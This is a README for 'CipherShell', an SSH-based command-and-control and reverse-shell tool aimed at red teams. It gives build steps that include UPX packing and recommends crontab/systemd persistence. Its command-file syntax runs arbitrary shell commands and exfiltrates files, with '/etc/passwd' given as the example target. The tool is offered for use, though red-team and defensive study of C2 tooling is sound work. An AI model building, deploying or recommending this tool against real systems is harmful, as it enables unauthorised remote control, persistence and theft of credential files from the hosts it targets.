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CipherShell

C2 tool that uses SSH for communication. Allows Redteam to easily script attacks against multiple hosts at once.

ssh-server sends commands for ssh-client to execute

ssh-server can handle multiple connections at once

For persistence use crontab/systemd

Build Libssh statically:

sudo apt-get install libssl-dev
git clone https://git.libssh.org/projects/libssh.git libssh
cd libssh
mkdir build
cd build/
cmake ../ -DWITH_EXAMPLES=OFF -DBUILD_SHARED_LIBS=OFF -DWITH_STATIC_LIB=ON
make
sudo make install

Build Reverse-SSH-Shell:

make
make small #Strip and UPX pack

Start server:

Usage: ./ssh-server commands_filename
Usage: ./ssh-server #If commands_filename in config/

Run client:

Usage: ./ssh-client

Configuration

Lines starting with # in the commands file will be treated as shell commands (e.g. #echo hi)

Lines starting with G will cause the client to send the given filename to the server (e.g. G/etc/passwd)

To change port number for server and client, edit include/constants.h